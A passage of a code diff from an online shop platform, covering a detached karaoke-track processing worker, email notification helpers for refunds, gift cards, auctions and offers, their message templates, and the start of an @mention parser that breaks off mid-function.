# 6. Process response, upload artifacts to S3
return _process_response_from_disk(
resp_path, s3_client, bucket, s3_path, is_video, extension, tmpdir,
)
def tracks_exist(s3_client, bucket, s3_path):
"""Check if instrumentals and vocals already exist in S3."""
for track in ("instrumentals", "vocals"):
try:
s3_client.head_object(Bucket=bucket, Key=f"{s3_path}/{track}")
except Exception:
return False
return True
def capture_karaoke_config(shop, app_settings):
"""Snapshot every value process_karaoke_detached needs, into plain dicts.
Called in the parent request while the shop ORM object is live. The
grandchild process receives only immutable values — no DB reads
required until the final metadata write (after karaoke completes,
minutes later, by which time the parent has long committed).
app_settings: the app-prefix-stripped settings dict — i.e. request.app
(NOT request.registry.settings, which keeps the "app." prefix in prod).
"""
if shop.has_primary_s3:
s3_creds = {
"region": shop.primary_s3_region,
"endpoint": shop.primary_s3_endpoint,
"access_key": shop.primary_s3_access_key,
"secret_key": shop.primary_s3_secret_key,
"bucket": shop.primary_s3_bucket,
}
else:
s3_creds = {
"region": app_settings["bucket.secure_uploads.region"],
"endpoint": app_settings["bucket.secure_uploads.post_endpoint"],
"access_key": app_settings["bucket.secure_uploads.access_key"],
"secret_key": app_settings["bucket.secure_uploads.secret_key"],
"bucket": app_settings["bucket.secure_uploads"],
}
mirror_creds = None
if shop.has_s3_mirror:
mirror_creds = {
"region": shop.mirror_s3_region,
"endpoint": shop.mirror_s3_endpoint,
"access_key": shop.mirror_s3_access_key,
"secret_key": shop.mirror_s3_secret_key,
"bucket": shop.mirror_s3_bucket,
}
return {
"unsandbox_pk": shop.unsandbox_public_key,
"unsandbox_sk": shop.unsandbox_secret_key,
"s3": s3_creds,
"mirror": mirror_creds,
}
def process_karaoke_detached(product_id, file_key, extension, s3_path,
karaoke_config, db_url):
"""Fire-and-forget karaoke processing via detached child process.
Double-forks so the worker survives uWSGI recycling, then runs
process_karaoke on the given source file and updates the product's
file_metadata + file_bytes with the resulting instrumentals/vocals.
Per-product lockfile (/tmp/karaoke_{product_id}.lock) prevents
concurrent runs for the same product — a second call while one is
in flight silently returns.
All shop config (unsandbox keys, S3 creds, mirror creds) is
captured by the caller via capture_karaoke_config() before the
fork, so the grandchild never reads uncommitted data across the
fork boundary. The grandchild's only DB contact is a write at the
end — after karaoke completes (minutes), by which time the parent
request has long since committed.
Returns immediately in the parent. All errors in the grandchild
are logged, never raised.
"""
from ..models.product import get_media_type
lockfile = f"/tmp/karaoke_{product_id}.lock"
# Pre-check in parent: skip fork if another karaoke is already running
try:
check_fd = open(lockfile, "w")
fcntl.flock(check_fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
fcntl.flock(check_fd, fcntl.LOCK_UN)
check_fd.close()
except (IOError, OSError):
return
pid = os.fork()
if pid > 0:
os.waitpid(pid, 0)
return
# Intermediate child: detach from uWSGI
os.setsid()
pid2 = os.fork()
if pid2 > 0:
os._exit(0)
# --- Grandchild: fully detached ---
import resource
maxfd = resource.getrlimit(resource.RLIMIT_NOFILE)[1]
if maxfd == resource.RLIM_INFINITY:
maxfd = 1024
for fd in range(3, maxfd):
try:
os.close(fd)
except OSError:
pass
lock_fd = None
try:
lock_fd = open(lockfile, "w")
fcntl.flock(lock_fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
lock_fd.write(str(os.getpid()))
lock_fd.flush()
import boto3
from sqlalchemy import create_engine
from sqlalchemy.orm import Session as SASession
from ..models.product import Product
from .s3_mirror import _make_mirror_client, mirror_key
is_video = (get_media_type(extension) == "video")
s3_key = f"{s3_path}/{file_key}"
s3_cfg = karaoke_config["s3"]
bucket = s3_cfg["bucket"]
s3 = boto3.session.Session().client(
"s3",
region_name=s3_cfg["region"],
endpoint_url=s3_cfg["endpoint"],
aws_access_key_id=s3_cfg["access_key"],
aws_secret_access_key=s3_cfg["secret_key"],
)
log.info("Detached karaoke: product=%s key=%s", product_id, s3_key)
sizes = process_karaoke(
s3, bucket, s3_key, s3_path, is_video, extension,
public_key=karaoke_config["unsandbox_pk"],
secret_key=karaoke_config["unsandbox_sk"],
)
if not sizes:
log.warning("Detached karaoke produced no tracks: product=%s", product_id)
return
# Persist metadata — parent request has long since committed by now
engine = create_engine(db_url)
session = SASession(bind=engine)
try:
product = session.get(Product, product_id)
if product:
track_ext = extension if is_video else "wav"
for track_name in ("instrumentals", "vocals"):
product.set_file_metadata(
track_name, track_ext, f"{track_name}.{track_ext}"
)
tmp = product.file_bytes
tmp.update(sizes)
product.file_bytes = tmp
session.add(product)
session.commit()
product.update_s3_acls(s3, bucket)
log.info("Detached karaoke done: product=%s inst=%dB vox=%dB",
product_id, sizes["instrumentals"], sizes["vocals"])
except Exception:
session.rollback()
log.exception("Detached karaoke DB write failed: product=%s", product_id)
finally:
session.close()
engine.dispose()
# Mirror synchronously — a daemon thread would die at os._exit
mirror_cfg = karaoke_config["mirror"]
if mirror_cfg:
dst = _make_mirror_client(
mirror_cfg["endpoint"],
mirror_cfg["region"],
mirror_cfg["access_key"],
mirror_cfg["secret_key"],
)
for track_name in ("instrumentals", "vocals"):
mirror_key(
s3, bucket, f"{s3_path}/{track_name}",
dst, mirror_cfg["bucket"],
)
except (IOError, OSError):
pass # another karaoke acquired lock between pre-check and here
except Exception:
log.exception("Detached karaoke grandchild failed: product=%s", product_id)
finally:
if lock_fd:
try:
lock_fd.close()
os.unlink(lockfile)
except OSError:
pass
os._exit(0)
def backfill_karaoke_async(shop_id, session_factory, app_settings):
"""Backfill vocal isolation tracks for a shop's catalog.
Forks a child process so the backfill survives uWSGI worker recycling.
Uses fcntl.flock on a lockfile for one-per-shop guard (auto-releases on crash).
Pool size matches the unsandbox account's concurrency limit (from validate_keys).
"""
shop_id_str = str(shop_id)
lockfile = f"/tmp/karaoke_backfill_{shop_id_str}.lock"
# Capture the DB URL before forking — the engine's fd dies after fork+close
db_url = str(session_factory().get_bind().url)
# Quick check — if lockfile exists and is locked, skip
try:
check_fd = open(lockfile, "w")
fcntl.flock(check_fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
# Got lock — release it, we'll re-acquire in child
fcntl.flock(check_fd, fcntl.LOCK_UN)
check_fd.close()
except (IOError, OSError):
return # another backfill is running for this shop
pid = os.fork()
if pid > 0:
# Parent: reap the intermediate child immediately so it doesn't zombie
os.waitpid(pid, 0)
return
# Intermediate child: detach fully from uWSGI, then fork again
os.setsid()
pid2 = os.fork()
if pid2 > 0:
os._exit(0) # intermediate child exits — grandchild is orphaned to init
# --- Grandchild process: fully detached from uWSGI ---
# Close inherited file descriptors (uWSGI sockets, HTTP connections)
import resource
maxfd = resource.getrlimit(resource.RLIMIT_NOFILE)[1]
if maxfd == resource.RLIM_INFINITY:
maxfd = 1024
for fd in range(3, maxfd):
try:
os.close(fd)
except OSError:
pass
lock_fd = None
try:
# Acquire file lock (guards one-per-shop)
lock_fd = open(lockfile, "w")
fcntl.flock(lock_fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
lock_fd.write(str(os.getpid()))
lock_fd.flush()
import boto3
from sqlalchemy import create_engine
from sqlalchemy.orm import Session as SASession
from ..models.product import Product, get_media_type
from ..models.shop import Shop
# Create a fresh engine — the parent's SQLite connection fd was closed
# after fork (lines 195-199). Reusing session_factory would hit a dead fd.
engine = create_engine(db_url)
session = SASession(bind=engine)
def _make_s3():
# BYOB: use shop's own bucket if configured (MPS-16)
if shop and shop.has_primary_s3:
return boto3.session.Session().client(
"s3",
region_name=shop.primary_s3_region,
endpoint_url=shop.primary_s3_endpoint,
aws_access_key_id=shop.primary_s3_access_key,
aws_secret_access_key=shop.primary_s3_secret_key,
)
return boto3.session.Session().client(
"s3",
region_name=app_settings["bucket.secure_uploads.region"],
endpoint_url=app_settings["bucket.secure_uploads.post_endpoint"],
aws_access_key_id=app_settings["bucket.secure_uploads.access_key"],
aws_secret_access_key=app_settings["bucket.secure_uploads.secret_key"],
)
try:
# Must load shop before _make_s3 can check has_primary_s3
shop = session.get(Shop, shop_id)
if not shop or not shop.unsandbox_public_key or not shop.unsandbox_secret_key:
return
s3 = _make_s3()
bucket = shop.primary_s3_bucket if shop.has_primary_s3 else app_settings["bucket.secure_uploads"]
pk, sk = shop.unsandbox_public_key, shop.unsandbox_secret_key
# Query account concurrency from unsandbox API — abort if keys are bad
try:
key_info = validate_keys(pk, sk)
concurrency = max(1, int(key_info.get("concurrency", 1)))
except Exception as e:
log.error("Backfill aborted — unsandbox keys invalid or expired for shop %s: %s", shop.name, e)
return
log.info("Backfill karaoke for shop %s — %d concurrent workers (pid %d)",
shop.name, concurrency, os.getpid())
# Collect work items
work = []
skipped_existing = 0
products = session.query(Product).filter(Product.shop_id == shop_id).all()
log.info("Backfill: %d total products for shop %s", len(products), shop.name)
for product in products:
for file_key in ("product", "preview"):
ext = product.extensions.get(file_key)
if not ext:
continue
media_type = get_media_type(ext)
if media_type not in ("video", "audio"):
continue
if tracks_exist(s3, bucket, product.s3_path):
skipped_existing += 1
continue
work.append((product.id, product.s3_path, product.title, file_key, ext, media_type))
log.info("Backfill: %d audio/video items, %d already have tracks, %d to process",
len(work) + skipped_existing, skipped_existing, len(work))
if not work:
log.info("No products need backfill for shop %s", shop.name)
return
MAX_RETRIES = 3
BACKOFF_BASE = 5 # seconds
# Process a single product with retries (runs in pool thread)
def _process_one(item):
product_id, s3_path, title, file_key, ext, media_type = item
thread_s3 = _make_s3()
is_video = (media_type == "video")
for attempt in range(MAX_RETRIES):
log.info("Backfill karaoke: %s (%s) attempt %d/%d",
title, file_key, attempt + 1, MAX_RETRIES)
try:
sizes = process_karaoke(
thread_s3, bucket,
f"{s3_path}/{file_key}",
s3_path, is_video, ext,
public_key=pk, secret_key=sk,
skip_validate=True,
)
if sizes:
return product_id, title, file_key, ext, media_type, sizes
except Exception as exc:
# Don't retry if the source file doesn't exist in S3
if "NoSuchKey" in str(type(exc).__name__) or "NoSuchKey" in str(exc):
log.warning(" SKIP %s (%s) — source file not in S3", title, file_key)
return product_id, title, file_key, ext, media_type, None
log.exception("Backfill attempt %d failed for %s", attempt + 1, title)
if attempt < MAX_RETRIES - 1:
import time as _time
wait = BACKOFF_BASE * (2 ** attempt)
log.info(" Retrying %s in %ds...", title, wait)
_time.sleep(wait)
return product_id, title, file_key, ext, media_type, None
# Fan out with thread pool
with ThreadPoolExecutor(max_workers=concurrency) as pool:
futures = {pool.submit(_process_one, item): item for item in work}
for future in as_completed(futures):
try:
product_id, title, file_key, ext, media_type, sizes = future.result()
except Exception:
item = futures[future]
log.exception("Backfill worker crashed for %s", item[2])
continue
if sizes:
# DB write only on success — no partial state
product = session.get(Product, product_id)
if not product:
continue
track_ext = ext if media_type == "video" else "wav"
for track_name in ("instrumentals", "vocals"):
product.set_file_metadata(track_name, track_ext, f"{track_name}.{track_ext}")
tmp = product.file_bytes
tmp.update(sizes)
product.file_bytes = tmp
session.add(product)
session.commit()
product.update_s3_acls(s3, bucket)
log.info(" OK %s (inst=%dB, vox=%dB)", title, sizes["instrumentals"], sizes["vocals"])
else:
log.warning(" FAILED %s after %d attempts", title, MAX_RETRIES)
log.info("Backfill complete for shop %s", shop.name)
except Exception:
session.rollback()
log.exception("Background karaoke backfill failed for shop %s", shop_id_str)
finally:
session.close()
engine.dispose()
except (IOError, OSError):
pass # couldn't acquire lock — another backfill is running
except Exception:
log.exception("Backfill child process failed for shop %s", shop_id_str)
finally:
if lock_fd:
try:
lock_fd.close()
os.unlink(lockfile)
except OSError:
pass
os._exit(0)

303
make_post_sell/lib/mail.py
View file

@ -16,12 +16,27 @@ from make_post_sell.lib.mail_messages import (
SALE_1_HTML,
INVITE_1_TEXT,
INVITE_1_HTML,
AUCTION_OUTBID_TEXT,
AUCTION_OUTBID_HTML,
OFFER_RECEIVED_TEXT,
OFFER_RECEIVED_HTML,
OFFER_ACCEPTED_TEXT,
OFFER_ACCEPTED_HTML,
OFFER_COUNTERED_TEXT,
OFFER_COUNTERED_HTML,
OFFER_DECLINED_TEXT,
OFFER_DECLINED_HTML,
OFFER_WITHDRAWN_TEXT,
OFFER_WITHDRAWN_HTML,
OFFER_BUYER_CANCELLED_TEXT,
OFFER_BUYER_CANCELLED_HTML,
)
import dkim
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.utils import formataddr
# Catch socket errors when postfix isn't running...
from socket import error as socket_error
@ -30,6 +45,17 @@ import logging
log = logging.getLogger(__name__)
def format_from_header(from_name, sender_email):
"""Build the From header value.
With a display name -> '"Acme Shop" <no-reply@origin.makepostsell.com>'.
Without -> the bare address. formataddr handles RFC-2047 encoding/quoting.
"""
if from_name:
return formataddr((from_name, sender_email))
return sender_email
def send_email(
to_email,
sender_email,
@ -41,6 +67,7 @@ def send_email(
dkim_selector="",
dkim_signature_algorithm="ed25519-sha256",
debug_mode=False,
from_name="",
):
# The `email` library assumes it is working with string objects.
# The `dkim` library assumes it is working with byte objects.
@ -59,7 +86,7 @@ def send_email(
msg.attach(MIMEText(message_text, "plain"))
msg.attach(MIMEText(message_html, "html"))
msg["To"] = to_email
msg["From"] = sender_email
msg["From"] = format_from_header(from_name, sender_email)
msg["Subject"] = subject
try:
@ -145,6 +172,15 @@ def send_pyramid_email(request, to_email, subject, message_text, message_html):
"email.dkim_signature_algorithm", "ed25519-sha256"
)
# Recipient-facing sender name: the shop (when in shop context) so that one
# warm sending address (email.sender) can carry mail for every shop without
# the recipient seeing a generic no-reply@. Falls back to a configured
# platform name, then to nothing (bare address).
shop = getattr(request, "shop", None)
from_name = (getattr(shop, "name", "") if shop else "") or request.app.get(
"email.from_name", ""
)
send_email(
to_email,
sender_email,
@ -156,6 +192,7 @@ def send_pyramid_email(request, to_email, subject, message_text, message_html):
dkim_selector,
dkim_signature_algorithm,
request.debug_mode,
from_name,
)
@ -200,7 +237,7 @@ def send_purchase_email(request, to_email, products, total_cost):
thumbnail = ""
if "thumbnail1" in p.extensions:
thumbnail = '<img src="{}/{}/thumbnail1?ts={}" style="border: 1px solid #ddd; border-radius: 4px; max-width: 184px; max-height: 184px; width: auto; height: auto;" />'.format(
request.app["bucket.secure_uploads.get_endpoint"],
request.shop_cdn_endpoint,
p.s3_path,
p.updated_timestamp,
)
@ -239,7 +276,7 @@ def send_sale_email(request, shop, products, total_cost):
thumbnail = ""
if "thumbnail1" in p.extensions:
thumbnail = '<img src="{}/{}/thumbnail1?ts={}" style="border: 1px solid #ddd; border-radius: 4px; max-width: 184px; max-height: 184px; width: auto; height: auto;" />'.format(
request.app["bucket.secure_uploads.get_endpoint"],
request.shop_cdn_endpoint,
p.s3_path,
p.updated_timestamp,
)
@ -390,13 +427,16 @@ def send_refund_email(request, to_email, crypto_payment, refund_details):
CryptoPayment.STATUS_DOUBLEPAY_NOT_REFUNDED,
]:
# Check if it's economically unviable vs no refund address
if crypto_payment.refund_reason and "economically unviable" in crypto_payment.refund_reason:
if (
crypto_payment.refund_reason
and "economically unviable" in crypto_payment.refund_reason
):
subject = f"Payment Issue - Refund Too Small - {crypto_payment.coin_type}"
explanation = f"Your payment of {received_amount} {crypto_payment.coin_type} results in a refund amount too small to cover network transaction fees. The refund would cost more to send than its value."
else:
subject = f"Payment Issue - No Refund Address - {crypto_payment.coin_type}"
explanation = "We were unable to process a refund for your payment because no refund address was configured."
has_fee = False # No refund means no fee calculation
has_fee = None # No refund means no fee message should be shown
else:
subject = f"Refund Initiated - {crypto_payment.coin_type}"
@ -404,13 +444,25 @@ def send_refund_email(request, to_email, crypto_payment, refund_details):
has_fee = fee_amount > 0
# Set the fee note based on whether there's a fee
if has_fee:
if has_fee is None:
fee_note = "" # No fee note for no-refund cases
elif has_fee:
fee_note = "A 9% restocking fee has been deducted to cover processing costs."
else:
fee_note = "No fees have been deducted - you will receive the full amount."
# Build the message text
message_text = f"""{explanation}
# Build the message text based on whether there's actually a refund
if has_fee is None:
# No refund case - don't show refund details
message_text = f"""{explanation}
Payment Details:
- Payment Amount: {received_amount} {crypto_payment.coin_type}
- Payment ID: {crypto_payment.id}
"""
else:
# Normal refund case - show refund details
message_text = f"""{explanation}
Refund Details:
- Original Payment: {received_amount} {crypto_payment.coin_type}
@ -424,8 +476,33 @@ Refund Details:
Please allow up to 10 confirmations for the refund to be fully processed.
"""
# Build the HTML message
message_html = f"""
# Build the HTML message based on whether there's actually a refund
if has_fee is None:
# No refund case - simplified HTML
message_html = f"""
<html>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
<h2>{subject}</h2>
<p>{explanation}</p>
<h3>Payment Details</h3>
<table style="border-collapse: collapse; margin: 20px 0;">
<tr>
<td style="padding: 8px; font-weight: bold;">Payment Amount:</td>
<td style="padding: 8px;">{received_amount} {crypto_payment.coin_type}</td>
</tr>
<tr>
<td style="padding: 8px; font-weight: bold;">Payment ID:</td>
<td style="padding: 8px; font-family: monospace;">{crypto_payment.id}</td>
</tr>
</table>
</body>
</html>
"""
else:
# Normal refund case - full HTML with refund details
message_html = f"""
<html>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
<h2>{subject}</h2>
@ -491,3 +568,209 @@ def send_invite_email(request, to_email, user, shop):
message_text = INVITE_1_TEXT.format(user.email, shop.name, join_link)
message_html = INVITE_1_HTML.format(subject, user.email, shop.name, join_link)
send_pyramid_email(request, to_email, subject, message_text, message_html)
def send_gift_card_email(request, gift_card):
"""Send gift card code to the recipient email."""
from ..lib.currency import cents_to_dollars
to_email = gift_card.gift_email
shop_name = gift_card.shop.name
amount = f"${cents_to_dollars(gift_card.initial_amount_in_cents):,.2f}"
code = gift_card.code
shop_url = gift_card.shop.absolute_url(request)
gift_message = gift_card.gift_message or ""
subject = f"You received a {amount} gift card for {shop_name}"
message_parts = [
f"You received a {amount} gift card for {shop_name}!",
f"",
f"Your gift card code: {code}",
f"",
]
if gift_message:
message_parts.append(f"Message: {gift_message}")
message_parts.append("")
message_parts.extend([
f"To redeem, enter the code at checkout when shopping at {shop_name}.",
f"",
f"Visit: {shop_url}",
f"",
f"This gift card never expires.",
])
message_text = "\n".join(message_parts)
html_parts = [
f"<h2>You received a {amount} gift card for {shop_name}!</h2>",
f"<p><strong>Your gift card code:</strong></p>",
f"<p style='font-size: 24px; font-family: monospace; background: #f0f0f0; padding: 12px; display: inline-block;'>{code}</p>",
]
if gift_message:
html_parts.append(f"<p><em>{gift_message}</em></p>")
html_parts.extend([
f"<p>To redeem, enter the code at checkout when shopping at <a href='{shop_url}'>{shop_name}</a>.</p>",
f"<p><small>This gift card never expires.</small></p>",
])
message_html = "\n".join(html_parts)
send_pyramid_email(request, to_email, subject, message_text, message_html)
# ── Auction & offer notifications (MPS-20 + MPS-21) ──────────────────────────
def send_auction_outbid_email(request, to_email, auction):
"""Notify the previous high bidder that they have been outbid."""
auction_url = f"{request.host_url}/a/{auction.uuid_str}"
subject = f'You have been outbid on "{auction.product.title}"'
text = AUCTION_OUTBID_TEXT.format(
title=auction.product.title,
high=f"{auction.current_high:.2f}",
auction_url=auction_url,
)
html = AUCTION_OUTBID_HTML.format(
title=auction.product.title,
high=f"{auction.current_high:.2f}",
auction_url=auction_url,
thumbnail=_product_thumbnail_html(request, auction.product),
)
send_pyramid_email(request, to_email, subject, text, html)
def _product_thumbnail_html(request, product):
"""Render a tokenized thumbnail <img> tag for inclusion in a
transactional email body, or empty string if the product has no
thumbnail1 extension uploaded.
Sized for 184px max — same dimensions as the purchase/sale emails
use, so the recipient sees a consistent image card across the whole
email surface. Returns "" (not None) so format calls can splice
without conditional logic.
"""
if product is None or "thumbnail1" not in getattr(product, "extensions", []):
return ""
cdn = getattr(request, "shop_cdn_endpoint", None)
if not cdn:
return ""
return (
'<img src="{cdn}/{path}/thumbnail1?ts={ts}" '
'style="border: 1px solid #ddd; border-radius: 4px; '
'max-width: 184px; max-height: 184px; width: auto; '
'height: auto;" alt="" />'
).format(
cdn=cdn,
path=product.s3_path,
ts=product.updated_timestamp,
)
def send_offer_received_email(request, to_email, offer):
"""Notify a shop owner that a new offer arrived for review."""
offer_url = f"{request.host_url}/o/{offer.uuid_str}"
subject = f'New offer for "{offer.product.title}"'
text = OFFER_RECEIVED_TEXT.format(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
)
html = OFFER_RECEIVED_HTML.format(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
thumbnail=_product_thumbnail_html(request, offer.product),
)
send_pyramid_email(request, to_email, subject, text, html)
def send_offer_accepted_email(request, to_email, offer):
"""Notify the buyer that their offer (or counter) was accepted."""
offer_url = f"{request.host_url}/o/{offer.uuid_str}"
subject = f'Your offer for "{offer.product.title}" was accepted'
text = OFFER_ACCEPTED_TEXT.format(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
)
html = OFFER_ACCEPTED_HTML.format(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
thumbnail=_product_thumbnail_html(request, offer.product),
)
send_pyramid_email(request, to_email, subject, text, html)
def send_offer_countered_email(request, to_email, offer):
"""Notify the OTHER party that their counterpart countered. Caller
decides 'other party' — buyer gets it when seller counters, seller
gets it when buyer counters back."""
offer_url = f"{request.host_url}/o/{offer.uuid_str}"
subject = f'Counter offer on "{offer.product.title}"'
fmt = dict(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
thumbnail=_product_thumbnail_html(request, offer.product),
)
send_pyramid_email(
request, to_email, subject,
OFFER_COUNTERED_TEXT.format(**fmt),
OFFER_COUNTERED_HTML.format(**fmt),
)
def send_offer_declined_email(request, to_email, offer):
"""Notify the buyer that the seller manually declined their offer.
Auto-decline (sub-threshold) is intentionally silent — the flash on
submit already explains it inline."""
offer_url = f"{request.host_url}/o/{offer.uuid_str}"
subject = f'Your offer for "{offer.product.title}" was declined'
fmt = dict(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
thumbnail=_product_thumbnail_html(request, offer.product),
)
send_pyramid_email(
request, to_email, subject,
OFFER_DECLINED_TEXT.format(**fmt),
OFFER_DECLINED_HTML.format(**fmt),
)
def send_offer_withdrawn_email(request, to_email, offer):
"""Notify the seller that the buyer withdrew their offer before
the seller responded. (Distinct from buyer-cancel-after-accept,
which has its own helper.)"""
offer_url = f"{request.host_url}/o/{offer.uuid_str}"
subject = f'Offer withdrawn on "{offer.product.title}"'
fmt = dict(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
thumbnail=_product_thumbnail_html(request, offer.product),
)
send_pyramid_email(
request, to_email, subject,
OFFER_WITHDRAWN_TEXT.format(**fmt),
OFFER_WITHDRAWN_HTML.format(**fmt),
)
def send_offer_buyer_cancelled_email(request, to_email, offer):
"""Notify the seller that the buyer cancelled an *already-accepted*
offer before paying. The seller is owed the explicit notice —
otherwise they'd keep waiting for a payment that's never coming."""
offer_url = f"{request.host_url}/o/{offer.uuid_str}"
subject = f'Buyer cancelled accepted offer on "{offer.product.title}"'
fmt = dict(
amount=f"{offer.current_amount:.2f}",
title=offer.product.title,
offer_url=offer_url,
thumbnail=_product_thumbnail_html(request, offer.product),
)
send_pyramid_email(
request, to_email, subject,
OFFER_BUYER_CANCELLED_TEXT.format(**fmt),
OFFER_BUYER_CANCELLED_HTML.format(**fmt),
)

300
make_post_sell/lib/mail_messages.py
View file

@ -12,11 +12,19 @@ WELCOME_1_HTML = """
<html>
<head>
<title>{0}</title>
<style>
.otp-code {{
font-size: 3em;
font-weight: bold;
letter-spacing: 0.1em;
margin: 1em 0;
}}
</style>
</head>
<body>
<h2>Hey there!</h2>
<h1 class="otp-code">{1}</h1>
<p><b>{1}</b></p>
<p>Hey there!</p>
<p>
Here is the verification code you requested.
@ -198,3 +206,291 @@ Thanks for sharing! <3
</html>
"""
# 0: shop_name,
# 1: verify_url,
# 2: unsubscribe_url
VERIFY_SUBSCRIPTION_TEXT = """
You requested to subscribe to email digests from {0}.
Please verify your email by visiting this link:
{1}
If you did not request this, you can ignore this email or unsubscribe:
{2}
"""
# 0: subject,
# 1: shop_name,
# 2: verify_url,
# 3: unsubscribe_url
VERIFY_SUBSCRIPTION_HTML = """
<!DOCTYPE html>
<html>
<head>
<title>{0}</title>
</head>
<body>
<h2>Verify Your Subscription</h2>
<p>
You requested to subscribe to email digests from <b>{1}</b>.
</p>
<p>
<a href="{2}" style="font-weight: bold;">Click here to verify your email</a>
</p>
<p style="font-size: .8em; color: #aaaaaa;">
If you did not request this, you can ignore this email or
<a href="{3}">unsubscribe</a>.
</p>
</body>
</html>
"""
# 0: shop_name,
# 1: items_text,
# 2: unsubscribe_url
DIGEST_TEXT = """
New from {0}:
{1}
To unsubscribe from these digests:
{2}
"""
# 0: subject,
# 1: shop_name,
# 2: items_html,
# 3: unsubscribe_url
DIGEST_HTML = """
<!DOCTYPE html>
<html>
<head>
<title>{0}</title>
</head>
<body>
<h2>New from {1}</h2>
{2}
<p style="font-size: .8em; color: #aaaaaa;">
<a href="{3}">Unsubscribe</a> from these digests.
</p>
</body>
</html>
"""
# 0: commenter_name,
# 1: product_title,
# 2: comment_text,
# 3: product_url
MENTION_TEXT = """
{0} mentioned you in a comment on "{1}":
{2}
View the comment:
{3}
"""
# 0: subject,
# 1: commenter_name,
# 2: product_title,
# 3: comment_text,
# 4: product_url
MENTION_HTML = """
<!DOCTYPE html>
<html>
<head>
<title>{0}</title>
</head>
<body>
<h2>You were mentioned in a comment</h2>
<p>
<b>{1}</b> mentioned you in a comment on "<b>{2}</b>":
</p>
<blockquote style="border-left: 3px solid #ccc; padding-left: 10px; color: #555;">
{3}
</blockquote>
<p>
<a href="{4}" style="font-weight: bold;">View the comment</a>
</p>
</body>
</html>
"""
# ── Auction & offer notifications (MPS-20 + MPS-21) ──────────────────────────
AUCTION_OUTBID_TEXT = """
You have been outbid on "{title}".
Current high: ${high}.
Place a new bid to stay in the game:
{auction_url}
"""
AUCTION_OUTBID_HTML = """
<!DOCTYPE html>
<html>
<body>
<h2>You have been outbid</h2>
<p>Someone outbid you on <strong>{title}</strong>.</p>
{thumbnail}
<p>Current high: <strong>${high}</strong>.</p>
<p><a href="{auction_url}" style="font-weight: bold;">Place a new bid</a></p>
</body>
</html>
"""
OFFER_RECEIVED_TEXT = """
You received a new offer of ${amount} for "{title}".
Review and respond:
{offer_url}
"""
OFFER_RECEIVED_HTML = """
<!DOCTYPE html>
<html>
<body>
<h2>New offer received</h2>
<p>You received a new offer of <strong>${amount}</strong> for <strong>{title}</strong>.</p>
{thumbnail}
<p><a href="{offer_url}" style="font-weight: bold;">View offer</a></p>
</body>
</html>
"""
OFFER_ACCEPTED_TEXT = """
Your offer of ${amount} for "{title}" was accepted.
Pay now to complete the purchase:
{offer_url}
"""
OFFER_ACCEPTED_HTML = """
<!DOCTYPE html>
<html>
<body>
<h2>Offer accepted</h2>
<p>Your offer of <strong>${amount}</strong> for <strong>{title}</strong> was accepted.</p>
{thumbnail}
<p><a href="{offer_url}" style="font-weight: bold;">Pay now</a></p>
</body>
</html>
"""
OFFER_COUNTERED_TEXT = """
The other party countered with ${amount} for "{title}".
Accept, counter, or decline:
{offer_url}
"""
OFFER_COUNTERED_HTML = """
<!DOCTYPE html>
<html>
<body>
<h2>Counter offer received</h2>
<p>The other party countered with <strong>${amount}</strong> for <strong>{title}</strong>.</p>
{thumbnail}
<p><a href="{offer_url}" style="font-weight: bold;">Review and respond</a></p>
</body>
</html>
"""
OFFER_DECLINED_TEXT = """
Your offer of ${amount} for "{title}" was declined.
View details:
{offer_url}
"""
OFFER_DECLINED_HTML = """
<!DOCTYPE html>
<html>
<body>
<h2>Offer declined</h2>
<p>Your offer of <strong>${amount}</strong> for <strong>{title}</strong> was declined.</p>
{thumbnail}
<p><a href="{offer_url}" style="font-weight: bold;">View details</a></p>
</body>
</html>
"""
OFFER_WITHDRAWN_TEXT = """
The buyer withdrew their offer of ${amount} for "{title}".
View details:
{offer_url}
"""
OFFER_WITHDRAWN_HTML = """
<!DOCTYPE html>
<html>
<body>
<h2>Offer withdrawn</h2>
<p>The buyer withdrew their offer of <strong>${amount}</strong> for <strong>{title}</strong>.</p>
{thumbnail}
<p><a href="{offer_url}" style="font-weight: bold;">View details</a></p>
</body>
</html>
"""
OFFER_BUYER_CANCELLED_TEXT = """
The buyer cancelled their accepted offer of ${amount} for "{title}".
You accepted this offer earlier but the buyer backed out before paying.
View details:
{offer_url}
"""
OFFER_BUYER_CANCELLED_HTML = """
<!DOCTYPE html>
<html>
<body>
<h2>Buyer cancelled accepted offer</h2>
<p>The buyer cancelled their accepted offer of <strong>${amount}</strong> for <strong>{title}</strong>.</p>
{thumbnail}
<p>You accepted this offer earlier but the buyer backed out before paying.</p>
<p><a href="{offer_url}" style="font-weight: bold;">View details</a></p>
</body>
</html>
"""

93
make_post_sell/lib/mentions.py Normal file
View file

@ -0,0 +1,93 @@
"""
@mention parsing and notification for comments.
Parses @username patterns from comment text and sends immediate
email notifications to mentioned users.
"""
import re
import logging
from .mail import send_pyramid_email
from .mail_messages import MENTION_TEXT, MENTION_HTML
from ..models.user import get_user_by_name
log = logging.getLogger(__name__)
# Matches @username where username is 3-64 chars of alphanumeric + dashes,
# must start and end with alphanumeric. Preceded by start-of-string or whitespace.
MENTION_PATTERN = re.compile(
r"(?:^|(?<=\s))@([a-zA-Z0-9][a-zA-Z0-9\-]{1,62}[a-zA-Z0-9])"
)
def extract_mentions(text):
"""Extract unique @mentioned usernames from text (without the @)."""
if not text:
return []
matches = MENTION_PATTERN.findall(text)
# Deduplicate while preserving order
seen = set()
unique = []
for m in matches:
lower = m.lower()
if lower not in seen:
seen.add(lower)
unique.append(m)
return unique
def notify_mentioned_users(request, comment, author_user):
"""
Parse @mentions from a comment and send email notifications.
Skips self-mentions and unverified users.
"""
